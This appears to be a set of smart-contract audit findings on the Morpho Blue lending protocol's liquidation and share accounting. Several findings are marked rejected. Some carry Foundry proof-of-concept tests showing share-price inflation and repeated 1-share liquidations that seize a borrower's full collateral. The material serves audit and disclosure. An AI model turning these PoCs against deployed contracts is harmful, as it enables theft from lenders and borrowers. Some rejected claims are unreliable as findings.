+In short whenever a liquidator attempts to seize the assets of someone's account that's currently not in an healthy state(_A.K.A liquidate a user_), the execution queries `accrueInterest()` before concluding, issue with this would be that while accruing the interest since the last update if fee is active, the fee gets added to the feeRecipient's supply shares, here: `position[id][feeRecipient].supplyShares += feeShares;` .
+
+Now going back to the logic in `liquidate()` the check whether account is healthy or not is done after the accrual of interest, i.e a query is done to the `isHealthy()` as seen from above referenced code block for this function that checks whether an account is in an healthy state or not, there is **absolutely no check whatsoever** regarding user/borrower's supply shares, i.e in this case _(assuming that our borrower is the `feeRecipient`)_ their shares + accrued fees, which means that if the feeRecipient is not liquidatable and has enough assets to back his borrows, he could get liquidated since the `isHealthy()` does not take into account the fact that a borrower could be the feeRecipient and that the just concluded `accrueInterest()` could provide them with more assets.
+
+- Impact
+
+The `feeRecipient` if they are an active borrower could get unfairly liquidated when their accounts should rightly be in an healthy state.
+
+- Recommended Mitigation Steps
+
+Before attempting to liquidate a borrower, check to see if they are the `feeRecipient`, if yes then take into account all the fees they might have accrued as part of their collateral.
+
+
+
+
+### Introduce a minimum seize assets value _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+
+- Proof of Concept
+
+Take a look at [Morpho.sol#L344-L410](https://github.com/morpho-org/morpho-blue/blob/4f50a27d0b0906a019cdf8d7b20c276cca5be9c9/src/Morpho.sol#L344-L410)
+
+```solidity
+ function liquidate(
+ MarketParams memory marketParams,
+ address borrower,
+ uint256 seizedAssets,
+ uint256 repaidShares,
+ bytes calldata data
+ ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(seizedAssets, repaidShares), ErrorsLib.INCONSISTENT_INPUT);
+
+ _accrueInterest(marketParams, id);
+
+ uint256 collateralPrice = IOracle(marketParams.oracle).price();
+
+ require(!_isHealthy(marketParams, id, borrower, collateralPrice), ErrorsLib.HEALTHY_POSITION);
+
+ uint256 repaidAssets;
+ {
+ // The liquidation incentive factor is min(maxLiquidationIncentiveFactor, 1/(1 - cursor*(1 - lltv))).
+ uint256 liquidationIncentiveFactor = UtilsLib.min(
+ MAX_LIQUIDATION_INCENTIVE_FACTOR,
+ WAD.wDivDown(WAD - LIQUIDATION_CURSOR.wMulDown(WAD - marketParams.lltv))
+ );
+
+ if (seizedAssets > 0) {
+ repaidAssets =
+ seizedAssets.mulDivUp(collateralPrice, ORACLE_PRICE_SCALE).wDivUp(liquidationIncentiveFactor);
+ repaidShares = repaidAssets.toSharesDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ } else {
+ repaidAssets = repaidShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ seizedAssets =
+ repaidAssets.wMulDown(liquidationIncentiveFactor).mulDivDown(ORACLE_PRICE_SCALE, collateralPrice);
+ }
+ }
+
+ position[id][borrower].borrowShares -= repaidShares.toUint128();
+ market[id].totalBorrowShares -= repaidShares.toUint128();
+ market[id].totalBorrowAssets = UtilsLib.zeroFloorSub(market[id].totalBorrowAssets, repaidAssets).toUint128();
+
+ position[id][borrower].collateral -= seizedAssets.toUint128();
+
+ uint256 badDebtShares;
+ if (position[id][borrower].collateral == 0) {
+ badDebtShares = position[id][borrower].borrowShares;
+ uint256 badDebt = UtilsLib.min(
+ market[id].totalBorrowAssets,
+ badDebtShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares)
+ );
+
+ market[id].totalBorrowAssets -= badDebt.toUint128();
+ market[id].totalSupplyAssets -= badDebt.toUint128();
+ market[id].totalBorrowShares -= badDebtShares.toUint128();
+ position[id][borrower].borrowShares = 0;
+ }
+
+ IERC20(marketParams.collateralToken).safeTransfer(msg.sender, seizedAssets);
+
+ // `repaidAssets` may be greater than `totalBorrowAssets` by 1.
+ emit EventsLib.Liquidate(id, msg.sender, borrower, repaidAssets, repaidShares, seizedAssets, badDebtShares);
+
+ if (data.length > 0) IMorphoLiquidateCallback(msg.sender).onMorphoLiquidate(repaidAssets, data);
+
+ IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), repaidAssets);
+
+ return (seizedAssets, repaidAssets);
+ }
+
+```
+
+As seen, this function is used to liquidate other users whose accounts are now in an unhealthy state, note that this function implements `seizedAssets` and `repaidShares` with a few checks attached to them which could allow an attacker coin them by front runs and allow protocol to still hold on to bad debt as explained in the _Impact_ section below.
+
+- Impact
+
+This is to ensure that users can't front run calls to liquidate their asset by using a mechanism similar to that of the 1-wei attack, cause currently there are no minimums attached and all a user needs to do is front run a call to `liquidate()` by:
+
+- Providing as low as 1/2 wei values if `maxBorrow == borrow + 1`
+- Providing as little value to cause the honest liquidator's attempt to liquidate revert since they would now be attempting to seize more than the collateral balance which causes an underflow,
+- Providing as little value to cause the honest liquidator's attempt to liquidate revert since they would now be attempting to repay more than the borrow balance which also leads to an underflow
+
+Would be key to note that all these three could be coined to still leave the account in an unhealthy state essentially causing the protocol to hold on to bad debts.
+
+- Recommended Mitigation Steps
+
+A easy fix, would be just to introduce a min `repaidShares` & `seizedAssets` value.
+
+
+
+
+### Sensitivity around the LTV could cause liquidations for honest users with any tiny changes _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+
+- Proof of Concept
+
+All markets have their `LTV` value attached while creating them, which in one sentence can be explained as the limit to which an account can go before they become liquidatable.
+
+Issue now is that there is no buffer time for user. It's widely known that the Crypto Market is _very volatile_, couple that with the fact that the bull run seems to just be kicking off, the volatility is only going to get more wild, now with this sensitive liquidation mechanism, a user could lose his funds as in this scenario even if he will try to repay some of the loans or provide extra collateral Attacker(liquidator will just front run).
+
+Take a look at [Morpho.sol#L344-L410](https://github.com/morpho-org/morpho-blue/blob/4f50a27d0b0906a019cdf8d7b20c276cca5be9c9/src/Morpho.sol#L344-L410)
+
+```solidity
+ function liquidate(
+ MarketParams memory marketParams,
+ address borrower,
+ uint256 seizedAssets,
+ uint256 repaidShares,
+ bytes calldata data
+ ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(seizedAssets, repaidShares), ErrorsLib.INCONSISTENT_INPUT);
+
+ _accrueInterest(marketParams, id);
+
+ uint256 collateralPrice = IOracle(marketParams.oracle).price();
+
+ require(!_isHealthy(marketParams, id, borrower, collateralPrice), ErrorsLib.HEALTHY_POSITION);
+
+ uint256 repaidAssets;
+ {
+ // The liquidation incentive factor is min(maxLiquidationIncentiveFactor, 1/(1 - cursor*(1 - lltv))).
+ uint256 liquidationIncentiveFactor = UtilsLib.min(
+ MAX_LIQUIDATION_INCENTIVE_FACTOR,
+ WAD.wDivDown(WAD - LIQUIDATION_CURSOR.wMulDown(WAD - marketParams.lltv))
+ );
+
+ if (seizedAssets > 0) {
+ repaidAssets =
+ seizedAssets.mulDivUp(collateralPrice, ORACLE_PRICE_SCALE).wDivUp(liquidationIncentiveFactor);
+ repaidShares = repaidAssets.toSharesDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ } else {
+ repaidAssets = repaidShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ seizedAssets =
+ repaidAssets.wMulDown(liquidationIncentiveFactor).mulDivDown(ORACLE_PRICE_SCALE, collateralPrice);
+ }
+ }
+
+ position[id][borrower].borrowShares -= repaidShares.toUint128();
+ market[id].totalBorrowShares -= repaidShares.toUint128();
+ market[id].totalBorrowAssets = UtilsLib.zeroFloorSub(market[id].totalBorrowAssets, repaidAssets).toUint128();
+
+ position[id][borrower].collateral -= seizedAssets.toUint128();
+
+ uint256 badDebtShares;
+ if (position[id][borrower].collateral == 0) {
+ badDebtShares = position[id][borrower].borrowShares;
+ uint256 badDebt = UtilsLib.min(
+ market[id].totalBorrowAssets,
+ badDebtShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares)
+ );
+
+ market[id].totalBorrowAssets -= badDebt.toUint128();
+ market[id].totalSupplyAssets -= badDebt.toUint128();
+ market[id].totalBorrowShares -= badDebtShares.toUint128();
+ position[id][borrower].borrowShares = 0;
+ }
+
+ IERC20(marketParams.collateralToken).safeTransfer(msg.sender, seizedAssets);
+
+ // `repaidAssets` may be greater than `totalBorrowAssets` by 1.
+ emit EventsLib.Liquidate(id, msg.sender, borrower, repaidAssets, repaidShares, seizedAssets, badDebtShares);
+
+ if (data.length > 0) IMorphoLiquidateCallback(msg.sender).onMorphoLiquidate(repaidAssets, data);
+
+ IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), repaidAssets);
+
+ return (seizedAssets, repaidAssets);
+ }
+
+```
+
+As seen, this function is used to liquidate other users whose accounts are now in an unhealthy state, but it lacks an implementation of a buffer mechanism unlike other popular lending platforms out there, [take AAVE for an example](https://docs.aave.com/faq/liquidations), which could lead to multiple issues such as user frustration and/or abrupt loss of funds for users, since they would get unfairly liquidated.
+
+- Impact
+
+Abrupt loss of funds for user, user frustration.
+
+- Recommended Mitigation Steps
+
+Giving some sort of buffer like other protocols can be used here to mitigate this issue, i.e like AAVE: https://docs.aave.com/faq/liquidations
+
+A simple example in this case would be to implement a _50%_ liquidation if health factor is between _`0.8 to 1`_ and then after `0.9` full liquidation so user will have some buffer time to respond.
+
+
+
+
+### Virtual supply shares steal interest
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L479-L479](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L479-L479)
+
+**Description**: The virtual supply shares, that are not owned by anyone, earn interest in `_accrueInterest`. This interest is stolen from the actual suppliers which leads to loss of interest funds for users. Note that while the initial share price of 1e-6 might make it seem like the virtual shares can be ignored, one can increase the supply share price and the virtual shares will have a bigger claim on the total asset percentage.
+
+**Recommendation**: The virtual shares should not earn interest as they don't correspond to any supplier.
+
+**Appendix**: Increasing supply share price:
+
+```solidity
+function testSupplyInflationAttack() public {
+ vm.startPrank(SUPPLIER);
+ loanToken.setBalance(SUPPLIER, 1 * 1e18);
+
+ // 100x the price. in the end we end up with 0 supply and totalAssets = assets supplied here
+ morpho.supply(marketParams, 99, 0, SUPPLIER, "");
+
+ uint256 withdrawals = 0;
+ for (;; withdrawals++) {
+ (uint256 totalSupplyAssets, uint256 totalSupplyShares,,) = morpho.expectedMarketBalances(marketParams);
+ // console2.log("totalSupplyShares", totalSupplyShares);
+ uint256 shares = (totalSupplyShares + 1e6).mulDivUp(1, totalSupplyAssets + 1) - 1;
+ // console2.log("shares", shares);
+ // burn all of our shares, then break
+ if (shares > totalSupplyShares) {
+ shares = totalSupplyShares;
+ }
+ if (shares == 0) {
+ break;
+ }
+ morpho.withdraw(marketParams, 0, shares, SUPPLIER, SUPPLIER);
+ }
+ (uint256 totalSupplyAssets, uint256 totalSupplyShares,,) = morpho.expectedMarketBalances(marketParams);
+ console2.log("withdrawals", withdrawals);
+ console2.log("totalSupplyAssets", totalSupplyAssets);
+ console2.log("final share price %sx", (totalSupplyAssets + 1) * 1e6 / (totalSupplyShares + 1e6));
+
+ // without inflation this should mint at initial share price of 1e6, i.e., 100 asset
+ (uint256 returnAssets,) = morpho.supply(marketParams, 0, 1 * 1e6, SUPPLIER, "");
+ console2.log("pulled in assets ", returnAssets);
+}
+```
+
+
+
+### Virtual borrow shares accrue interest and lead to bad debt
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L478-L478](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L478-L478)
+
+**Description**: The virtual borrow shares, that are not owned by anyone, earn interest in `_accrueInterest`. This interest keeps compounding and cannot be repaid as the virtual borrow shares are not owned by anyone. As the withdrawable funds are computed as `supplyAssets - borrowAssets`, the borrow shares' assets equivalent leads to a reduction in withdrawable funds, basically bad debt.
+Note that while the initial borrow shares only account for 1 asset, this can be increased by increasing the share price. The share price can be **inflated arbitrarily high**, see appendix.
+
+**Recommendation**: There is no virtual collateral equivalent and therefore the virtual borrow assets are bad debt that cannot even be repaid and socialized. The virtual borrow shares should not earn interest.
+
+**Appendix**: Increasing the borrow share price:
+
+```solidity
+function testBorrowInflationAttack() public {
+ uint256 amountCollateral = 1e6 ether;
+ _supply(amountCollateral);
+ oracle.setPrice(1 ether);
+ collateralToken.setBalance(BORROWER, amountCollateral);
+
+ vm.startPrank(BORROWER);
+ morpho.supplyCollateral(marketParams, amountCollateral, BORROWER, hex"");
+ morpho.borrow(marketParams, 1e4, 0, BORROWER, RECEIVER);
+
+ for (uint256 i = 0; i < 100; i++) {
+ // assets = shares * (totalBorrowAssets + 1) / (totalBorrowShares + 1e6) < 1 <=> shares < (totalBorrowShares
+ // + 1e6) / (totalBorrowAssets + 1).
+ (,, uint256 totalBorrowAssets, uint256 totalBorrowShares) = morpho.expectedMarketBalances(marketParams);
+ console2.log("totalBorrowShares", totalBorrowShares);
+ uint256 shares = (totalBorrowShares + 1e6).mulDivUp(1, totalBorrowAssets + 1) - 1;
+ console2.log("shares", shares);
+ (uint256 returnAssets, uint256 returnShares) = morpho.borrow(marketParams, 0, shares, BORROWER, RECEIVER);
+ uint256 borrowBalance = morpho.expectedBorrowAssets(marketParams, BORROWER);
+ // console2.log("borrowBalance", borrowBalance);
+ }
+
+ (,, uint256 totalBorrowAssets, uint256 totalBorrowShares) = morpho.expectedMarketBalances(marketParams);
+ console2.log("final totalBorrowShares", totalBorrowShares);
+ vm.expectRevert("max uint128 exceeded");
+ morpho.borrow(marketParams, 1 ether, 0, BORROWER, RECEIVER);
+}
+```
+
+
+
+### function `liquidate` doesn't have slippage protection _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L344-L344](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L344-L344)
+
+**Description**:
+
+In function `liquidate`, `seizedAssets` and `repaidAssets` are calculated based on `collateralPrice` in [Morpho.sol#L371](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L371) and [Morpho.sol#L376](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L376).
+
+While `collateralPrice` is queried by [marketParams.oracle](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L357)
+
+While going through function `liquidate`, there is no check/parameters related to slippage protection, without a slippage protection, `marketParams.oracle's price` might be manipulated by sandwich attack
+
+**Recommendation**:
+
+
+
+### Morpho is not compatible with transfer-on-fee token as loanToken/collateralToken _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Description
+
+A market can set any token as collateralToken/loanToken. If they are transfer-on-fee tokens, then the totalBorrowAssets/totalSupplyAssets recorded in market[id] will be greater than the amount held by Morpho. Let’s take an example:
+
+1. Assume that the lender supplies 100e18 loanToken via [[supply](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L166-L172)](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L166-L172), where `loanToken.transferFrom(msg.sender, address(this), 100e18)` is used to transfer 100e18 loanToken to the Morpho contract. Since loanToken requires 1% fee when transferring, the actual amount transferred to Morpho is only 99e18. But `Market[id].totalSupplyAssets` is increased by 100e18.
+2. A borrower want to borrow 100e18 loanToken via [[borrow](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L232-L238)](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L232-L238). This is feasible because the value of `market[id].totalSupplyAssets` is sufficient. However, `loanToken.transfer(receiver, 100e18)` will revert due to insufficient balance.
+
+There are several functions affected:
+
+- [[supply](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L166)](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L166)
+- [[withdraw](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L197)](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L197)
+- [[borrow](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L232)](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L232)
+- [[repay](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L266)](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L266)
+- [[supplyCollateral](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L300)](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L300)
+- [[withdrawCollateral](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L320)](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L320)
+- [[flashLoan](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L415)](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L415)
+
+- Recommendation
+
+Use the `balanceAfter - balanceBefore` pattern to calculate the transferred token.
+
+
+
+### Some tokens used as collateral tokens will cause tokens to be stuck in the contract _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Description
+
+**Some rebasing tokens will increase/decrease the balance over time, such as stEth**, which will rebase daily and generally increase the balance. If there is a market for stEth as collateral, then when the rebase occurs more stEth will be generated than is actually recorded in the position and they will be stuck in the contract forever.
+
+Consider the following scenario:
+
+1. Alice supplies `1.1e18` stEth via [[supplyCollateral](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L300)](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L300), so `position[id][A].collateral = 1.1e18`. We assume that `stEth.getPooledEthByShares(1e18)` at this time is `1.1e18`. In other words, `1.1e18` stEth represents 1e18's share in lido.
+2. Alice borrowed some loanToken.
+3. After a week, Alice repaid all debts.
+4. Alice wants to withdraw stEth via [[withdrawCollateral](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L320)](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L320). Currently `stEth.getPooledEthByShares(1e18)` is `1.11e18`. This means that alice got `1.1e18` stEth, and `0.01e18` stEth was stuck in the contract.
+
+**There is also a token that can claim rewards over time, such as cToken from Compound**. If cToken is used as collateral, when the borrower withdraws cToken via `withdrawCollateral`, `cToken.transfer` will internally trigger `COMPTROLLER.claimComp` to claim the reward token (COMP token). This resulted in the COMP token being stuck in the Morpho contract.
+
+- Recommendation
+
+It seems like there is no good way to avoid such issue except whitelisting loanToken/collateralToken.
+
+
+
+### Liquidation `seizeAssets` computation rounding issue
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L375-L376](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L375-L376)
+
+**Description**:
+Currently, liquidations can end up with the borrower having a _less healthy_ position than before the liquidation (even without liquidation incentive and favorable LLTV). Note that the borrower position is measured in _shares_ (not assets) via `position[id][borrower].borrowShares`.
+The `repaidAssets` are **rounded up** from the borrow shares position to be burned and the rounded-up assets are used to compute the collateral assets to be seized `seizedAssets`, leading to a situation of reducing the borrower's collateral by much more than their debt position was actually reduced by.
+
+```solidity
+repaidAssets = repaidShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+// uses rounded-up repaidAssets
+seizedAssets =
+ repaidAssets.wMulDown(liquidationIncentiveFactor).mulDivDown(ORACLE_PRICE_SCALE, collateralPrice);
+```
+
+**Example**:
+LLTV of 75%. Borrow share price (`totalBorrowAssets / totalBorrowShares`) of `1.01e-6=0.00000101` (1% interest on initial virtual shares start price of `0.000001`). Price of 1 borrow asset = 1\$.
+
+- `borrower`: Collateral worth 4\$. `3e6` borrow shares, worth `3.03` assets. Health factor is `4$ * LLTV / (3e6 * 1.01e-6 * 1$) = 0.99`
+- A liquidator that pays back `repaidShares=1` receives seized assets according to `repaidAssets = repaidShares.toAssetsUp(sharePrice) = 1` (`1$`), more than the actual value of `0.00000101$` corresponding to the 1 borrow shares position reduction.
+- The borrower's collateral is reduced to 3\$ while only 1 borrow share was burned from their position. Their new health factor drops to `3$ * LLTV / ((3e6-1) * 1.01e-6 * 1$) = 0.7425` making the borrower less healthy.
+- Another three rounds of liquidations of `repaidShares=1` will lead to a health factor of `0$ * LLTV / ((3e6-4) * 1.01e-6 * 1$) = 0`. The borrower's collateral was fully seized and the protocol incurs bad debt of almost the entire initial debt shares worth `(3e6-4) * 1.01e-6 * 1$ = 3.03$`.
+
+
+**Impact**:
+The impact is that an unhealthy borrower's position can be fully liquidated by splitting up liquidations into tiny liquidations (each repaying only 1 share but seizing the full rounded-up repay amount of collateral) while not reducing their actual asset debt position. The protocol will incur almost the entire initial borrow debt assets as bad debt.
+
+**Recommendation**:
+The code should look at two different kinds of `repaidAssets`: One that gets reduced from the total assets and that the liquidator has to pay which should be rounded up (matches the current `repaidAssets`, aka the "repay" part of the liquidation). The second one is used to compute the value for the seized assets which should be rounded down. The liquidator has an incentive to do this because they earn the liquidation incentive on the entire repaid amount (and the repaid amount is such that they can seize the entire collateral).
+
+```solidity
+repaidAssets = repaidShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+// don't use repaidAssets here, should round down
+seizedAssets = repaidShares.toAssetsDown(market[id].totalBorrowAssets, market[id].totalBorrowShares).wMulDown(liquidationIncentiveFactor).mulDivDown(ORACLE_PRICE_SCALE, collateralPrice);
+```
+
+**POC**:
+
+```solidity
+function testFullLiquidationAttack() public {
+ LiquidateTestParams memory params = LiquidateTestParams({
+ amountCollateral: 400,
+ amountSupplied: 100e18,
+ // maxBorrow = uint256(position[id][borrower].collateral).mulDivDown(collateralPrice, ORACLE_PRICE_SCALE).wMulDown(marketParams.lltv);
+ amountBorrowed: 300,
+ priceCollateral: 1e36,
+ lltv: 0.75e18
+ });
+ _setLltv(params.lltv);
+
+ _supply(params.amountSupplied);
+ oracle.setPrice(params.priceCollateral);
+
+ // create some borrows as they would happen in a normal market, to initialize borrow share price to some real value
+ loanToken.setBalance(REPAYER, type(uint128).max); // * 2 for interest
+ collateralToken.setBalance(REPAYER, 1000e18);
+ vm.startPrank(REPAYER);
+ morpho.supplyCollateral(marketParams, 1000e18, REPAYER, hex"");
+ morpho.borrow(marketParams, params.amountSupplied - params.amountBorrowed, 0, REPAYER, REPAYER);
+ vm.stopPrank();
+
+ // create BORROWER's debt position
+ loanToken.setBalance(LIQUIDATOR, params.amountBorrowed * 2); // * 2 for interest
+ collateralToken.setBalance(BORROWER, params.amountCollateral);
+
+ vm.startPrank(BORROWER);
+ morpho.supplyCollateral(marketParams, params.amountCollateral, BORROWER, hex"");
+ morpho.borrow(marketParams, params.amountBorrowed, 0, BORROWER, BORROWER);
+ vm.stopPrank();
+
+ // move oracle by a tiny bit for BORROWER to become unhealthy
+ oracle.setPrice(params.priceCollateral - 0.01e18);
+
+ // multi liquidate
+ vm.startPrank(LIQUIDATOR);
+ uint256 seizedAssets = 0;
+ uint256 repaidAssets = 0;
+ do {
+ uint256 sharesToRepay = 1;
+ (uint256 newSeizedAssets, uint256 newRepaidAssets) = morpho.liquidate(marketParams, BORROWER, 0, sharesToRepay, hex"");
+ seizedAssets += newSeizedAssets;
+ repaidAssets += newRepaidAssets;
+ // console2.log("newSeizedAssets", newSeizedAssets);
+ // console2.log("newRepaidAssets", newRepaidAssets);
+ // console2.log("collateral remaining", morpho.collateral(marketParams.id(), BORROWER));
+ } while(morpho.collateral(marketParams.id(), BORROWER) > 1);
+
+ // Results
+ console2.log("======== Results ========");
+ uint256 remainingDebt = morpho.expectedBorrowAssets(marketParams, BORROWER);
+ console2.log("remaining borrow shares", morpho.borrowShares(marketParams.id(), BORROWER));
+ console2.log("remainingDebt", remainingDebt);
+}
+```
+
+
+
+### `Morpho.sol` lenders get stuck in a liquidation scenario
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Relevant Github links
+https://github.com/morpho-org/morpho-blue/blob/4f50a27d0b0906a019cdf8d7b20c276cca5be9c9/src/Morpho.sol#L380-L382
+
+- Summary
+Lenders never get their money back after multiple liquidated positions with `badDebt`. The liquidator (anyone) does get to keep the `collateralToken` for taking the borrower out of the affected market.
+
+- Vulnerability Details
+During a liquidation, when a position has been taken out of the market, the initial lenders of that market will have nothing to withdraw after multiple liquidated `badDebt` positions have eaten through the supply. The lender(s) would need to wait until a set of new lenders come into the market in order to have some withdrawable funds.
+
+- Impact
+This can be further exploited a couple of ways by an attacker.
+A malicious borrower can initially setup a collateral for a loan for themself, take the loan, never repay. Liquidations happen when the loaned asset is underwater and any `badDebt` associated with such loan is always absorbed by the lenders of that market. Keep in mind the borrower (attacker) now has the initial funds of the lenders (e.g ETH) while the collateral token (e.g USDC) resides in the Morpho contract. Since a liquidator gets this collateral token, the attacker can go further to setup a contract and liquidate this underwater position paying exactly the same amount as they provided in USDC say months ago for a loan amount e.g ETH at a favorably price months ago they have now utilized. When the liquidation occurs, the borrower/attacker posing as a liquidator also get's incentivized for this action and the `badDebt` get's absorbed by the tied market. They just need to send back the amount of ETH they borrowed initially e.g 7 ETH and that's all. This causes grief for the lenders as they lose their ETH altogether because of the dilution and price.
+
+Here's a coded POC:
+```javascript
+ function testLendersAreStuckInALiquidatedBadDebt() public {
+ uint256 collateralAmount = 35 ether;
+ uint256 asset = 7 ether;
+ uint256 loanAmount = 27 ether;
+
+ // Bob supplies assets to market A
+ vm.startPrank(BOB);
+ loanToken.setBalance(address(BOB), asset);
+ console.log("prevBal address(BOB): ", loanToken.balanceOf(address(BOB)));
+ assertEq(loanToken.balanceOf(address(BOB)), asset);
+ morpho.supply(marketParams, asset, 0, address(BOB), hex"");
+ vm.warp(block.timestamp + 1 days);
+
+ // Alice supplies assets to market A
+ vm.startPrank(ALICE);
+ loanToken.setBalance(address(ALICE), asset);
+ console.log("prevBal address(ALICE): ", loanToken.balanceOf(address(ALICE)));
+ assertEq(loanToken.balanceOf(address(ALICE)), asset);
+ morpho.supply(marketParams, asset, 0, address(ALICE), hex"");
+ vm.warp(block.timestamp + 1 days);
+
+ // George supplies assets to market A
+ vm.startPrank(GEORGE);
+ loanToken.setBalance(address(GEORGE), asset);
+ console.log("prevBal address(GEORGE): ", loanToken.balanceOf(address(GEORGE)));
+ assertEq(loanToken.balanceOf(address(GEORGE)), asset);
+ morpho.supply(marketParams, asset, 0, address(GEORGE), hex"");
+ vm.warp(block.timestamp + 1 days);
+
+ // Elsa supplies assets to market A
+ vm.startPrank(ELSA);
+ loanToken.setBalance(address(ELSA), asset);
+ console.log("prevBal address(ELSA): ", loanToken.balanceOf(address(ELSA)));
+ assertEq(loanToken.balanceOf(address(ELSA)), asset);
+ morpho.supply(marketParams, asset, 0, address(ELSA), hex"");
+ vm.warp(block.timestamp + 1 days);
+
+ // Rex supplies assets to market A
+ vm.startPrank(REX);
+ loanToken.setBalance(address(REX), asset);
+ console.log("prevBal address(REX): ", loanToken.balanceOf(address(REX)));
+ assertEq(loanToken.balanceOf(address(REX)), asset);
+ morpho.supply(marketParams, asset, 0, address(REX), hex"");
+ vm.warp(block.timestamp + 1 days);
+
+ // Morpho contract address balance after supplies from lenders
+ console.log("prevBal address(MORPHO): ", loanToken.balanceOf(address(morpho)));
+
+ // Borrower provides collateral amount to borrow up to 80% of the assets of market A
+ collateralToken.setBalance(BORROWER, collateralAmount);
+ vm.startPrank(BORROWER);
+ morpho.supplyCollateral(marketParams, collateralAmount, BORROWER, hex"");
+ morpho.borrow(marketParams, loanAmount, 0, BORROWER, BORROWER);
+ // inflation trick -> pre-lead to liquidation
+ morpho.borrow(marketParams, 0, 1, BORROWER, BORROWER);
+ vm.stopPrank();
+
+ vm.warp(block.timestamp + 360 days); // e.g 1 year
+
+ oracle.setPrice(1e36 / 100);
+ loanToken.setBalance(LIQUIDATOR, loanAmount);
+
+ console.log("liquidator's loanToken bal before liquidating borrower: ", loanToken.balanceOf(LIQUIDATOR));
+
+ // Liquidator liquidates borrower's position
+ vm.prank(LIQUIDATOR);
+ morpho.liquidate(marketParams, BORROWER, collateralAmount, 0, hex"");
+
+ console.log("morpho's loanToken after bal liquidation: ", loanToken.balanceOf(address(morpho)));
+
+ // REX tries to withdraw his provided 7 eth
+ vm.prank(REX);
+ vm.expectRevert();
+ morpho.withdraw(marketParams, asset, 0, address(REX), address(REX));
+
+ // as you can see there's nothing left to process any more full withdrawals for REX, ELSA, GEORGE, ALICE & BOB
+ console.log("morpho's loanToken bal after rex's withdrawal: ", loanToken.balanceOf(address(morpho)));
+ }
+```
+
